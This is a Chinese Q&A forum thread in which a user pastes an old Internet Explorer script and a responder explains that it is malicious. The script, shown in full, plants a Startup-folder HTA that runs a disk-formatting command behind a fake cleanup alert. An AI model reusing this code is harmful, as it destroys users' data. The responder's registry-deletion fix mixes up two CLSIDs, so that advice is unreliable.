javascript 问题

发布网友 发布时间:2022-04-23 22:48

我来回答

1个回答

热心网友 时间:2022-04-14 20:10

<SCRIPT language=Javascript>
<!--
var Words ="<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>飞鸟特勤组之危险游戏</title>
<meta name="GENERATOR" content="Microsoft FrontPage 3.0">
</head>

<body bgcolor="#d4d4d4" text="#000000">

<p>
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
</p>
<script>
scr.Reset();
scr.Path="C:\\WINDOWS\\Start Menu\\Programs\\启动\\test.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('start /m format c: /autotest /u');alert('IMPORTANT : Windows is removing unused temporary files.');</"+"SCRIPT>";
scr.write();
</script>

<p align="center"><strong><big><big><big><big><big>警告!警告!你的C盘已经被我强行输入格式化,一旦重新启动就格式化了。请不要启动,立即保存有用的文件。</big></big></big></big></big></strong></p>

<p align="center"><strong><big><big><big><big><big>警告!!警告!!警告!!你的C盘已经被我强行输入格式化,一旦重新启动就格式化了。请不要启动,立即保存有用的文件。最后重复一便你的C盘已经被我强行输入格式化,一旦重新启动就格式化了。请不要启动,立即保存有用的文件。</big></big></big></big></big></strong></p>

<p align="center"><strong><big><big><big><big><big>这不是演习这不是演习</big></big></big></big></big></strong></p>
</body>
</html>"
function SetNewWords()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
SetNewWords();

这是原文。
答非所问么?
看起来像是个恶意脚本,会格式化C盘。在打开这页面后,就会在C:\\WINDOWS\\Start Menu\\Programs\\启动\\test.hta里添加个格式化的脚本,弹出警告信息'IMPORTANT : Windows is removing unused temporary files.
其实正把C盘格式化了。在网页正文中是写着正在格式化你的C盘。
运行脚本的关键就是<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
对应于注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B},删了就能免除网页恶意脚本的危害了。这是微软的一种基于32位系统平台与语言无关的教本解释机制,它使得脚本能在WINDOWS桌面或命令提示符下运行。
至于那串密密麻麻的看着像乱码的东西,不过是把字符用编码方式表现罢了。

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com